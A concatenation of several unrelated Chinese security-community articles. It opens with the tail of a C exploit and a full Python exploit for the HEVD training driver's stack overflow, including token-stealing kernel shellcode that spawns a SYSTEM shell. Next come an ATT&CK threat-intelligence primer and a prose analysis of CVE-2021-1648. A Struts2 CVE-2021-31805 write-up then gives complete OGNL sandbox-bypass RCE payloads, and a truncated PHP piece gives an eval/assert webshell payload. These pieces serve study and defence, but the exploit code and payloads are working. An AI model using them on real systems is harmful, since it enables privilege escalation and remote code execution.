wprintf(L"[+] lpDeviceName: %lsn", lpDeviceName);
if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%xn", GetLastError());
return -1;
}
wprintf(L"[+] Device Handle: 0x%xn", hDevice);
lpInBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
if (!lpInBuffer) {
wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
return -1;
}
RtlFillMemory(lpInBuffer, 0x900, 0x41);
RtlFillMemory(lpInBuffer + 2076, 0x4, 0x42);
*(lpInBuffer + 2080) = (DWORD)&TokenStealingPayloadWin7 & 0xFF;
*(lpInBuffer + 2080 + 1) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF00) >> 8;
*(lpInBuffer + 2080 + 2) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF0000) >> 0x10;
*(lpInBuffer + 2080 + 3) = ((DWORD)&TokenStealingPayloadWin7 & 0xFF000000) >> 0x18;
wprintf(L"[+] Sending IOCTL request with buffer: 0x222003n");
DeviceIoControl(
hDevice,
0x222003, // IOCTL
(LPVOID)lpInBuffer,
2084,
NULL,
0,
&lpBytesReturned,
NULL);
ZeroMemory(&si, sizeof si);
si.cb = sizeof si;
ZeroMemory(&pi, sizeof pi);
IsUserAnAdmin() ?
CreateProcess(
L"C:\Windows\System32\cmd.exe",
L"/T:17",
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
(STARTUPINFO *)&si,
(PROCESS_INFORMATION *)&pi) :
wprintf(L"[!] Exploit Failed!");
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
CloseHandle(hDevice);
return 0;
}
//EOF
Python版
# https://github.com/OsandaMalith/Exploits/blob/master/HEVD/StackOverflowx86.py
import os
import sys
import struct
from ctypes import *
from ctypes.wintypes import *
kernel32 = windll.kernel32
def TokenStealingPayloadWin7():
shellcode = (
#---[Setup]
"x60" # pushad
"x64xA1x24x01x00x00" # mov eax, fs:[KTHREAD_OFFSET]
"x8Bx40x50" # mov eax, [eax + EPROCESS_OFFSET]
"x89xC1" # mov ecx, eax (Current _EPROCESS structure)
"x8Bx98xF8x00x00x00" # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
"xBAx04x00x00x00" # mov edx, 4 (SYSTEM PID)
"x8Bx80xB8x00x00x00" # mov eax, [eax + FLINK_OFFSET] <-|
"x2DxB8x00x00x00" # sub eax, FLINK_OFFSET |
"x39x90xB4x00x00x00" # cmp [eax + PID_OFFSET], edx |
"x75xED" # jnz ->|
"x8Bx90xF8x00x00x00" # mov edx, [eax + TOKEN_OFFSET]
"x89x91xF8x00x00x00" # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
"x61" # popad
"x31xC0" # NTSTATUS -> STATUS_SUCCESS
"x5D" # pop ebp
"xC2x08x00" # ret 8
)
shellcodePtr = id(shellcode) + 20
return shellcodePtr
def main():
lpBytesReturned = c_ulong()
hDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None)
if not hDevice or hDevice == -1:
print "[!] Failed to get a handle to the driver " + str(ctypes.GetLastError())
return -1
buf = "x41" * 2080 + struct.pack("<L",TokenStealingPayloadWin7())
bufSize = len(buf)
bufPtr = id(buf) + 20
print "[+] Sending IOCTL request "
kernel32.DeviceIoControl(hDevice, 0x222003, bufPtr, bufSize, None, 0,byref(lpBytesReturned) , None)
os.system('cmd.exe')
if __name__ == '__main__':
main()
# EOF
这里获取到了Root权限
如果我们检查该过程，您可以看到它作为NT AUTHORITY / SYSTEM运行。 | 社区文章 |
# 实战化ATT&CK
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 序：
本文是实战化ATT&CK™系列专题文章的开篇，主要讲述当前网络空间安全的威胁形势、情报驱动防御和ATT&CK™模型等核心概念，旨在帮助读者深入理解ATT&CK™模型打下坚实的理论基础。
## 1.当前网络空间安全的威胁形势
### （一）、事件：NotPetya勒索病毒袭击全球各地系统！- 技术能力越来越强大的对手
**1.）事件背景：**
2017年6月27日周二一早，代号为”NotPetya”（”佩蒂娅”）的一种新勒索病毒袭击了乌克兰、俄罗斯、西班牙、法国、英国、丹麦、印度、美国（律师事务所DLA
Piper）等国家和地区。这种新的勒索病毒能够导致重要基础设施关停，使公司及政府网络瘫痪。据事后报道，乌克兰10%的计算机系统被感染，造成超过30亿美元的经济损失！
**2.）攻击目标：**
根据公开报道，遭受NotPetya侵袭的具体目标包括：
– 乌克兰副总理帕夫洛•罗琴科（Pavlo Rozenko）称，该国政府部门的电脑网络出现死机，央行的配电系统等设施遭到了破坏。
– 荷兰船运巨头马士基集团（A.P. Moller – Maersk）称包括洛杉矶码头在内的设施遭到了攻击。
– 全球最大的广告传播集团WPP称受到了这款病毒感染。一位该公司员工透露，他们被要求关闭电脑，随后整座公司大楼陷入寂静。
–
一家乌克兰媒体公司称，自己的电脑系统被黑，黑客要求通过电子加密货币比特币支付300美金才能对其解锁。黑客还留下信息说，”不要浪费时间去尝试恢复文件。只有我们能提供解密服务。”
– 俄罗斯央行称，自己的电脑被感染。一家从事消费信贷的公司不得不暂停为客户服务。
– 俄罗斯石油公司（Rosneft）称自己的电脑系统被严重影响。
**3.）攻击者的战术、技术及过程分析**
我们通过ATT&CK™模型对NotPetya进行分析后发现，NotPetya作为一款勒索软件，它具备很明显的破坏意图，采用钓鱼邮件（该病毒采用CVE-2017-0199漏洞的RTF格式附件进行邮件投放）、软件供应链后门（通过利用窃取的凭证，攻击者能够操纵M.E.Doc更新服务器）、水坑攻击（乌克兰巴哈姆特市的网站）方式传播。成功感染目标系统后会释放Downloader来获取病毒母体，形成初始扩散节点，之后通过EternalBlue（永恒之蓝，CVE-2017-0144）漏洞、EternalRomance（永恒浪漫，CVE-2017-0145）漏洞、WMI、PsEexc和系统弱口令来进行蠕虫传播。同时具备杀软对抗（卡巴斯基、诺顿）和反取证（wevtutil日志清除）等能力。
由分析可见先进的攻击者具备如下特点：
– 攻击者的基础设施具备适应能力，能够针对更多不同的目标环境
– 攻击者入侵后会混杂于合法的用户行为中，比如使用合法的基础设施组件、滥用合法用户凭证或者重复执行合法用户行为
– 攻击者具备快速提升自己的能力，利用新漏洞和新泄露的工具
### （二）、组织：“方程式组织”（Equation Group）-超高能力网空威胁行为体
网空威胁行为体（CyberThreat
Actors）是网络空间攻击活动的来源，它们有不同的目的和动机，其能力也存在明显的层级差异。根据作业动机、攻击能力、掌控资源等角度，网空威胁行为体划分为七个层级，分别是：
–业余黑客
–黑产组织
–网络犯罪团伙或黑客组织
–网络恐怖组织
–一般能力国家/地区行为体
–高级能力国家/地区行为体
–超高能力国家/地区行为体。
其中，超高能力国家/地区行为体，或称为超高能力网空威胁行为体，拥有严密的规模建制，庞大的支撑工程体系，掌控体系化的攻击装备和攻击资源，可以进行最为隐蔽和致命的网络攻击。
“方程式组织”就是这样一种超高能力网空威胁行为体，有一套完整、严密的作业框架与方法体系；拥有大规模支撑工程体系、制式化装备组合，进行严密的组织作业，高度追求作业过程的隐蔽性、反溯源性，使其攻击看似“弹道无痕”，其突破、存在、影响、持续直至安全撤出网络环境或系统的轨迹很难被察觉。
### “方程式组织”的攻击装备：
**（一）、漏洞利用工具和攻击平台**
相关漏洞攻击装备主要针对网络设备、防火墙等网络安全设备和各类端点系统，其主要作用为突破边界，横向移动，获取目标系统的权限，为后续植入持久化、控制载荷开辟通道。
其中典型的漏洞攻击装备EPICBANANA、EXTRABACON和1个未知装备是针对防火墙的，先进的FuzzBunch漏洞利用平台，针对Windows系统进行作业（其中包含多个0day漏洞）
**（二）、持久化 /植入攻击装备**
超级网空威胁行为体高度重视在目标场景中形成持久化的能力，研发了大量实现持久化能力的装备。持久化攻击装备通常在突破目标后使用，主要针对BIOS/UEFI、固件、引导扇区、外设等环节，难以发现和处置的深层次加载点，或形成可反复植入的作业机会窗口。
FEEDTROUGH是针对Juniper、NetScreen等防火墙进行固件层持久化的攻击装备，可以在防火墙启动时向系统植入载荷，这一技术与该攻击组织对硬盘固件的持久化思路如出一辙，是更底层的难以检测和发现的持久化技术。
**（三）、控制 /后门类恶意代码**
此类攻击装备是攻击行动中最终植入到目标系统的载荷，用于持久化或非持久化对目标系统的控制。覆盖网络安全设备及网络设备，Linux/Windows主机系统。与持久化工具所追求的建立隐蔽的永久性入口不同，方程式组织在的控制/后门类恶意代码，更强调内存原子化模块加载作业，文件不落地，最大程度上减小被发现与提取的可能性。
DanderSpritz是其中最典型的控制平台，拥有严密作业过程和丰富规避手段的模块化攻击平台。DanderSpritz拥有界面化的远程控制平台，具有复杂的指令体系和控制功能，与传统RAT程序有着明显的区别，一旦植入目标系统后会采集系统各类安全配置信息并提示攻击者哪些配置或信息可能会导致自身被发现或检测。其payload有多种连接模式，其中“Trigger”模式是一种激活连接模式，既不监听端口也不向外发出连接，而是通过监听流量等待攻击者的激活数据包，这使得控制端的部署变得灵活而难以被封禁。
面对技术能力越来越强大的对手或以“方程式组织”为代表的超高能力网空威胁行为体，我们该如何应对？
以“方程式组织”为代表的超高能力网空威胁行为体，具有庞大的攻击支撑工程体系、装备体系和规模化作业团队等特点，并在这些资源的支撑下，成功执行高度复杂的攻击活动。如果对类似攻击组织的分析停留在0day漏洞、恶意代码等单点环节上，既无助于对其整个过程进行全面的分析，也难以有效地指导防御工作。为应对高能力网空威胁行为体的攻击活动，安全人员需要有体系化、框架化的威胁分析模型，对其行为展开更深入、系统的分析，理解威胁，进而实现更有效的防御。当前类似的分析模型包括洛克希德·马丁公司（Lockheed
Martin）的Kill Chain（杀伤链）和MITRE公司的ATT&CK模型等。
## 2.情报驱动防御（Intelligence Driven Defense）
情报驱动防御，是一种以威胁为中心的风险管理战略，核心是针对对手的分析，包括了解对方的能力、目标、原则以及局限性，帮助防守方获得弹性的安全态势（resilient
security posture），并有效指导安全投资的优先级（比如针对某个战役识别到的风险采取措施，或者高度聚焦于某个攻击对手或技术的安全措施）。
情报驱动防御必然是一个持续、迭代的过程，通过分析、协同发现指标，利用“指标”（indicator）去检测新的攻击活动，在调查过程又获得更丰富的指标。所谓弹性，是指从完整杀链看待入侵的检测、防御和响应，可以通过前面某个阶段的已知指标遏制链条后续的未知攻击；针对攻击方技战术重复性的特点，只要防守方能识别到、并快于对手利用这一特点，必然会增加对手的攻击成本。
指标（indicator）和失陷指标（IOCs，Indicators of Compromise）
**（一）、指标（Indicator）为“情报”的基本要素，用于客观描述入侵的信息，具体分为三类：**
* 原子指标（Atomic）：为保持其在入侵语境下的意义、不能再做分拆的指标，如IP地址、email地址以及漏洞编号。
* 计算指标（Computed）：从事件中所涉及数据派生出的指标。常用计算指标包括Hash值和正则表达式。
* 行为指标（Behavioral）：计算和原子指标的集合，通常受到指标数量和可能组合逻辑的限制。举例来说，可能是一段类似这样的描述，“入侵者最初使用后门，匹配“正则表达式”以某“频率”访问某个“IP地址”，一旦访问建立，就会用另一后门（MD5 hash值）进行替换。”
**（二）、失陷指标（IOCs，Indicators** of Compromise）
1.失陷指标的生成，是以结构化的方式记录事件的特征和证物的过程。IOC包含从主机和网络角度的所有内容，而不仅仅是恶意软件。它可能是工作目录名、输出文件名、登录事件、持久性机制、IP地址、域名甚至是恶意软件网络协议签名。）。2.IOC不仅查找特定的文件和系统信息，还使用详细描述恶意活动的逻辑语句。3.Mandiant博客“Combat
the APT by Sharing Indicators of Compromise7”中，作者Matt Frazier 介绍了一个基于XML
语言的IOC 实例化，并且可以使用免费的Mandiant 工具读取和创建IOC。
### 痛苦金字塔模型（The Pyramid of Pain ）
痛苦金字塔模型由IOCs组成，同时也用于对IOCs进行分类组织并描述各类IOCs在攻防对抗中的价值。TTPs即Tactics, Techniques and
Procedures（战术、技术以及过程）的简称，指对手从踩点到数据泄漏以及两者间的每一步是“如何”完成任务的。TTPs处于痛苦金字塔塔尖。于攻击方，TTPs反映了攻击者的行为，调整TTPs
所需付出的时间和金钱成本也最为昂贵。于防守方，基于TTPs的检测和响应可能给对手造成更多的痛苦，因此TTPs
也是痛苦金字塔中对防守最有价值的一类IOCs。但另一方面，这类IOCs
更加难以识别和应用，由于大多数安全工具并不太适合利用它们，也意味着收集和应用TTPs到网络防御的难度系数是最高的。而ATT&CK™模型是有效分析对手行为（也即TTPs）的威胁分析技术。
## 3.MITRE ATT&CK™ 模型的核心概念
### 3.1）MITRE公司
最早其主要做国防部的威胁建模，主要是情报分析，从事反恐情报的领域（起源是911后美国情报提升法案），后续延申到网络空间安全领域，其最大的特色就是分类建模，STIX情报架构就是MITRE构建，SITX1.0版本又很浓的反恐情报分析影子。到了STIX2.0阶段，其发现仅仅用TTP很难描述网络空间网络攻击和恶意代码，因此，在STIX2.0中，引入攻击和恶意代码2个相对独立的表述，攻击采用capec，恶意代码采用meac，但是capec和meac过于晦涩，其又在2015年发布了ATT&CK™模型及建模字典，用来改进攻击描述。
### 3.2）ATT&CK模型（ATT&CK™）
ATT&CK（Adversarial Tactics, Techniques, and Common
Knowledge，对手战术、技术及通用知识库）是一个反映各个攻击生命周期的攻击行为的模型和知识库。
ATT&CK™对对手使用的战术和技术进行枚举和分类之后，能够用于后续对攻击者行为的“理解”，比如对攻击者所关注的关键资产进行标识，对攻击者会使用的技术进行追踪和利用威胁情报对攻击者进行持续观察。ATT&CK™也对APT组织进行了整理，对他们使用的TTP（技术、战术和过程）进行描述。
特点：
* 对手在真实环境中所使用的TTP
* 描述对手行为的通用语言
* 免费、开放、可访问
* 社区驱动
目前ATT&CK模型分为三部分，分别是PRE-ATT&CK，ATT&CK Matrix for
Enterprise（包括Linux、macOS、Windows）和ATT&CK Matrix for
Mobile（包括iOS、Android），其中PRE-ATT&CK覆盖攻击链模型的前两个阶段（侦察跟踪、武器构建），ATT&CK Matrix for
Enterprise覆盖攻击链的后五个阶段（载荷传递、漏洞利用、安装植入、命令与控制、目标达成），ATT&CK Matrix for
Mobile主要针对移动平台。
PRE-ATT&CK包括的战术有优先级定义、选择目标、信息收集、发现脆弱点、攻击性利用开发平台、建立和维护基础设施、人员的开发、建立能力、测试能力、分段能力。
ATT&CK Matrix for
Enterprise包括的战术有访问初始化、执行、常驻、提权、防御规避、访问凭证、发现、横向移动、收集、命令和控制、数据获取、影响。
ATT&CK Matrix for Mobile主要针对移动平台。
ATT&CK模型中的TTP（战术、技术和过程）及它们之间的关系。
TTP的定义：（来源：美国国家标准技术研究所）
TTP即对手的行为。战术是对此行为的最高级别描述，而技术在战术的上下文中提供更详细的行为描述，而过程是在技术的上下文中更低级别，更详细的描述。
– 战术：对手的技术目标（如，横向移动）
– 技术：如何实现目标（如，PsExec）
– 过程：具体技术实施（如，使用PsExec实现横向移动的过程）
举例：
如果攻击者要访问的网络中的计算机或资源不在其初始位置，则需借助“横向移动攻击”战术。比较流行的一种技术是将Windows内置的管理共享，C$和ADMIN$，用作远程计算机上的可写目录。实现该技术的过程是利用PsExec工具创建二进制文件，执行命令，将其复制到远端Windows管理共享，然后从该共享处开启服务。另外，即使阻止执行PsExec工具，也不能完全消除Windows管理共享技术的风险。这是因为攻击者会转而使用其他过程，如PowerShell、WMI等工具。
威胁知情的防御强调：了解对手(Who)的战术(Why)、技术(How)和过程（TTPs）是成功进行网络防御的关键。因此我们可以通过ATT&CK™模型来对攻击者的TTP进行检测、防御和响应。
笔者将通过四篇文章来进行详细讨论：
– 威胁情报- 威胁检测与猎杀- 红蓝军对抗模拟- 安全产品能力和企业安全建设成熟度评估
### 4.附录：MITRE ATT&CK™模型中的Groups和Software
Groups，用于跟踪由公共和私人组织在其威胁情报报告中报告的已知APT组织。
比如：APT3、APT29、Cobalt Group
参见：https://attack.mitre.org/groups/
Software，指对手使用的工具（tools），实用程序（utilities）和恶意软件（malware）。
工具（tools）：比如：PsExec, Metasploit, Mimikatz
实用程序（utilities）：Net, netstat, Tasklist
恶意软件（malware）：PlugX, CHOPSTICK
参见：https://attack.mitre.org/software/
## 5.致谢！
> 此次写作的初衷：集业界众安全专家的智慧，系统、全面地介绍以下主题，
>
> – ATT&CK™
>
> – 威胁情报
>
> – 威胁检测和威胁猎杀
>
> – 红蓝军对抗模拟
>
> 笔者在写作的过程中，深感要实现这个目标十分艰巨！因此，把目前所学、所思记录下来，后续再完善。
>
> 此次写作参考了以下安全团队及个人的研究成果，（排名不分先后）
>
> 安天（Cert）
>
> Freddy Dezeure
>
> Katie Nickels@MITRE
>
> Sergio Caltagirone@Dragos
>
> 肖岩军@NSFOCUS
>
> 小强
>
> 余凯@瀚思科技
>
> Viola_Security
>
> ZenMind
>
> 汪列军@奇安信威胁情报中心/360威胁情报中心
>
> （Corelight Labs、Reservoir Labs、Red Canary、Endgame、FOX IT、SpecterOps
> Team、Sqrrl、FireEye、
>
> Awake Security、Gigamon Applied Threat Research Team、SANS Institute、Cisco
> Talos、Proofpoint等）
>
> 特别说明：此专栏绝非笔者一人之力所能成，没有各位同行的无私分享，此专栏也不可能出现！
>
> 特别感谢：有幸能向周奕总@瀚思科技、袁明坤总@安恒信息、杨大路总@天际友盟请教，受益匪浅！
>
> 每个人的知识、能力和视野终归有限，恳请安全行业的前辈、兄弟姐妹批评指正！ | 社区文章 |
**作者： alpha@天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/Gtw8jBsNaPjIXoXoKIeDhg>**
近日，作者分析了微软1月补丁日修复的一个漏洞CVE-2021-1648，这是一个可以在splwow64进程空间进行任意地址读写的漏洞。由于splwow64是一个普通权限的进程且splwow64在IE浏览器的白名单目录里，因此这个漏洞可以用于提权低权限的IE浏览器渲染引擎进程从而绕过IE浏览器的沙箱。这篇文章主要介绍一下splwow64的机制和CVE-2021-1648的成因。
环境：Windows10 20H2 2020-12补丁
### splwow64机制
wow64是微软为了在64bit系统兼容运行32bit程序的一个组件，具体来说，在64bit程序调用32bit的CreateDC
Windows会用splwow64.exe处理这个调用，64bit程序与splwow64.exe使用lpc进行通信。
splwow64在splwow64!GDIThunkingVIALPCThread里调用NtCreatePort开启处理信息的端口，在这里我们可以计算得到调用NtSecureConnectPort与splwow64通信的端口名称
我们可以从xp
sp1代码\NT\base\ntos\lpc\lpcconn.c中NtSecureConnectPort的注释中得到一些lpc通信机制的信息，这里摘抄部分注释如下
1、NtSecureConnectPort通过PortName参数连接server端口，PortName必须与NtCreatePort指定的一致
2、server端通过NtListenPort接收请求，client端在server端接收处理请求、返回NtCompleteConnectPort执行结果前阻塞
3、server在接受请求后返回给client端一个参数PortHandle，PortHandle与名称无关与client进程有关。client使用PortHandle调用NtRequestWaitReplyPort从server端接收/发送信息
splwow64在splwow64!TLPCMgr::ProcessRequest处理接收的消息，这里过滤了传入消息的长度，只处理DataSize=0x20长度的消息，
并将某些类型合法消息的[0x30],[0x40],[0x38]作为参数传递给Gdi32full!GdiPrinterThunk，这里传递的参数都是调用者可控的。
### 漏洞分析
CVE-2021-1648出现在0x6d消息的处理过程中，CVE-2021-1648是在CVE-2020-0986补丁的基础上出现的，CVE-2020-0986的补丁在gdi32full!GdiPrinterThunk里主要加了两个缓解FindDriverForCookie、FindPrinterHandle和UMPDPointerFromOffset、UMPDStringPointerFromOffset，由于Gdi32full!GdiPrinterThunk传入的参数可控，这两个缓解实际上都是可以绕过的。
#### FindDriverForCookie、FindPrinterHandle绕过
Gdi32full!FindDriverForCookie的功能是根据传入的值a1，从一个全局变量gdi32full+EABA0里遍历得到偏移[7]的位置为a1的地址并返回。
Gdi32full!FindPrinterHandle的功能是根据传入的参数a1（地址值）、a2、a3，从a1偏移0x40的位置遍历，返回该地址偏移2*4=a2且3*4=a3的偏移值。
这两处缓解可以通过0x6a消息调用一次gdi32full!bAddPrinterHandle来绕过，gdi32full!bAddPrinterHandle调用时参数如下，其中第二、三个参数是调用者可控的。
gdi32full!bAddPrinterHandle的功能是把传入的a2、a3写入到global_heap偏移2*4、3*4的位置。需要注意的是这里*(QWORD*)(global_heap+0x40)的位置实际上和上文Gdi32full!FindPrinterHandle中*(a1+0x40)相同，
再看一下0x6d消息是如何调用FindPrinterHandle的，这里的参数二、三是我们可控的，这样在gdi32full!bAddPrinterHandle调用中*(QWORD*)(global_heap+0x40)写入的内容和gdi32full!FindPrinterHandle中要寻找的内容位置相同且都可控，我们就可以绕过gdi32full!FindPrinterHandle这个检查。
#### UMPDPointerFromOffset、UMPDStringPointerFromOffset绕过
CVE-2020-0986补丁加的另一个缓解是检查指针是否在32bit的范围，
这个缓解可以绕过的原因是splwow64.exe与32bit兼容，所以splwow64中堆栈地址都是32bit范围内的，由于lpc通信过程中server端会开辟内存并拷贝client端传入的消息，我们构造0x6d畸形请求，
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
即发送消息的地址设置为lpc server端的堆地址即可绕过这一缓解。
splwow64中执行server端开辟内存拷贝的过程在splwow64!TLPCMgr::ProcessRequest
#### 任意地址读写
绕过了上述两个缓解，splwow64会调用一个src可控、dst可控的memcpy，由于这里memcpy的src和dst没有检查范围，我们可以通过修改src读dst的内容进行任意地址读，修改dst为目标地址、修改src为目标内容进行任意地址写。
### 总结
这里介绍了splwow64的一些机制并分析了CVE-2021-1648的成因，重点分析了微软针对CVE-2020-0986补丁所加的两个缓解机制的绕过，希望读者读完能有所收获。
### 参考
<https://bugs.chromium.org/p/project-zero/issues/detail?id=2096>
<https://whereisk0shl.top/post/the_story_of_cve_2021_1648>
* * * | 社区文章 |
# CVE-2021-31805 Apache Struts2 远程代码执行漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
近日，Apache官方发布了Apache Struts2的风险通告，漏洞编号为CVE-2021-31805。Apache
Struts2是一个用于开发JavaEE网络应用程序的开放源代码网页应用程序框架。
此次CVE-2021-31805（S2-062）是由于CVE-2020-17530（S2-061）修复不完整造成的。
## 利用范围
2.0.0 <= Apache Struts2 <= 2.5.29
## 漏洞分析
### **环境搭建**
目前网上已经公开出很多集成环境，如果只需要简单复现漏洞，可以使用docker集成环境或者网上公开的在线靶场（https://vulfocus.cn/#/dashboard?image_id=13e59426-82b3-43bd-87cb-a60629d47a6b）。
如果想要深入地探究漏洞产生原理，建议使用idea手工搭建环境。这里我们使用s2-061（https://github.com/Al1ex/CVE-2020-17530）的漏洞demo来进行改造。
在下载好s2-061的demo源码后，我们需要修改三个地方。
**修改一：**
maven pom文件修改struts2版本为2.5.26。
**修改二：**
前端jsp文件，修改name属性标签，通过%{payload}进行赋值。
**修改三：**
修改action类
在完成改造之后，只需要将项目编译后运行在tomcat容器中即可。
### **前置知识**
在进行漏洞分析之前，我们需要了解一些有关struts2框架的基础知识，这样才能更好地去理解漏洞产生的原理。
##### **Apache Struts 2 架构概述**
1\. 客户端提交web请求，指向一个Servlet容器，Servlet容器初步解析该请求
2\. 核心处理器Filter Dispatcher 协调其他控制器处理请求并确定合适的 Action
3\. 拦截器自动将通用功能应用于请求，例如工作流、验证和文件上传处理
4\. Action 方法执行，通常存储或从数据库中检索信息
5\. 结果将输出呈现给客户端，可以是 HTML、图像、PDF 或其他内容
##### **OGNL语法介绍**
OGNL的全称是对象图导航语言（ Object-Graph Navigation Language），它是一种用于获取和设置
Java对象属性的开源表达式语言，以及其他附加功能，是Struts2的默认表达式语言。
使用这种表达式语言，可以利用表达式语法树规则，存储Java对象的任意属性，调用Java对象的方法，同时能够自动实现期望的类型转换。
如果将表达式看作是一种带有语义的字符串，那么OGNL就是这个语义字符串与Java对象之间的沟通桥梁，其功能就是双向转换语义字符串与Java对象数据即转换String和Object。
##### **OGNL执行操作三要素：**
表达式（Expression）、根对象（Root Object）、上下文环境（Context）
##### **OGNL 三个重要操作符号：**
OGNL中的三个重要符号：#、%、$，这里重点介绍%，其用途是在标志属性为字符串类型时，计算OGNL表达式的值，类似JS中的函数eval()。例如：<s:url
value =”%{items.{title}[0]}”/>。
### **漏洞原理**
参考国外大神的理解，在s2-061问题中，使用在jsp中定义的类，类似如下idVal=%{3*3}输入将执行双重OGNL评估，从而导致id=“9”
//example
<s:a id=”%{idVal}”/>
//result
<s:a id=”9″/>
从diff（https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e）分析，核心问题的部分在于属性name会调用
completeExpressionIfAltSyntax函数并将其分配给 expr，但在最终OGNL解析expr之前对name进行了递归检查。
但是如果不对name进行第二次 OGNL解析，name将不会包含用户提供的来自 URL
参数的数据。但是在前面的evaluateParams函数中却执行了另一个 OGNL解析。
所以对于某些 UIBean标记的名称属性就很容易受到两次 OGNL 解析，这就导致了远程代码执行。
### **动态调式**
首先在org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag处打下断点，这里对标签开始解析。
到org.apache.struts2.views.jsp.ComponentTagSupport#doEndTag结束对标签解析。
随后进入org.apache.struts2.components.UIBean#end
进入evaluateParams函数。
在进入evaluateParams函数往后，会调用findString对属性name进行一次OGNL表达式赋值（这里我们标记为第一次OGNL表达式赋值），此时name已经被赋值为我们所提交的payload。
继续往下，会对一系列的属性进行判断，目的是看这些属性是否能被利用。
在判断完毕之后，会对属性name进行判断。
判断的结果如下，此时的name属性不存在value且非空，所以之前两个if的判断都为永真。
顺利进入completeExpressionIfAltSyntax函数。
随后进入org.apache.struts2.components.Component#completeExpressionIfAltSyntax，判断altSyntax，在s2-001修复之后，altSyntax功能默认是关闭的。
同时往下会对表达式进行检查，看其中是否包含%{}，如果没有就会自动加上%{}
在org.apache.struts2.util.ComponentUtils#containsExpression中，具体检查表达式是否含有%{}如下：如果包含%{}就会返回ture，就不会进入后续的findValue，反之亦然。
此时，在org.apache.struts2.util.ComponentUtils#containsExpression判断的结果为false，我们的表达式也自动被加上了%{}。接下来就进入到findValue，在这里，表达式会进行二次OGNL表达式赋值。
继续跟进，可以看到nameValue成功被解析，返回结果为“9”。
此时浏览器中也成功解析。
此时浏览器中也成功解析。
### **沙箱绕过**
虽然目前是实现了OGNL表达式的注入，但是要想实现远程代码执行还得绕过沙箱。
首先我们来看s2-061的命令执行方式：
%{
(#request.map=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0)
+
(#request.map.setBean(#request.get(‘struts.valueStack’)) ==
true).toString().substring(0,0) +
(#request.map2=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0)
+
(#request.map2.setBean(#request.get(‘map’).get(‘context’)) ==
true).toString().substring(0,0) +
(#request.map3=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache.commons.collections.BeanMap’)).toString().substring(0,0)
+
(#request.map3.setBean(#request.get(‘map2’).get(‘memberAccess’)) ==
true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedPackageNames’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’))
== true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedClasses’,#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘java.util.HashSet’))
== true).toString().substring(0,0) +
(#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘calc.exe’}))
}
在Struts2 v2.5.26之后将org.apache.tomcat加入了黑名单，导致无法获取BeanMap对象。
绕过的新语法如下：
https://<domain>/?skillName=#@java.util.LinkedHashMap@{“foo”:”value”}
创建一个 BeanMap 对象，可以通过如下实现：
#@org.apache.commons.collections.BeanMap@{}
所以，新的Poc如下：
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
+
(#request.map.setBean(#request.get(‘struts.valueStack’)) ==
true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
+
(#request.map2.setBean(#request.get(‘map’).get(‘context’)) ==
true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
+
(#request.map3.setBean(#request.get(‘map2’).get(‘memberAccess’)) ==
true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedPackageNames’,#@org.apache.commons.collections.BeanMap@{}.keySet())
== true).toString().substring(0,0) +
(#request.get(‘map3’).put(‘excludedClasses’,#@org.apache.commons.collections.BeanMap@{}.keySet())
== true).toString().substring(0,0) +
(#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘freemarker.template.utility.Execute’).exec({‘calc.exe’}))
## 修复建议
目前官方已发布修复版本修复了该漏洞，请受影响的用户升级到安全版本：
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
## 参考材料
1. https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
2. https://mp.weixin.qq.com/s/B5KK0rCoUYJBFL9ZQhoHjQ
3. https://github.com/Al1ex/CVE-2020-17530
4. https://struts.apache.org/tag-developers/alt-syntax
5. https://cwiki.apache.org/confluence/display/WW/S2-062
6. https://github.com/Al1ex/CVE-2020-17530 | 社区文章 |
# 浅析PHP变量解析复杂规则语法
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
翻了好久前写过的关于php复杂语法变量解析的文章，发现很多地方存在问题。因此又查阅文档重新理解了一遍该语法，谈谈个人的理解，并记录在此。
## 题目简析
一道很早之前的题目，代码（简化）：
$str= @(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');
通过eval执行php代码获得flag，addslashes函数将字符串中的特殊字符转义，“{}”在双引号中可以标记变量边界来解析，利用该方式来达到代码执行的目的。
eg:
通过payload：${assert($_GET[cmd])}}即可获取shell，也可以利用system函数来执行命令读取flag等。
## 变量解析之复杂语法
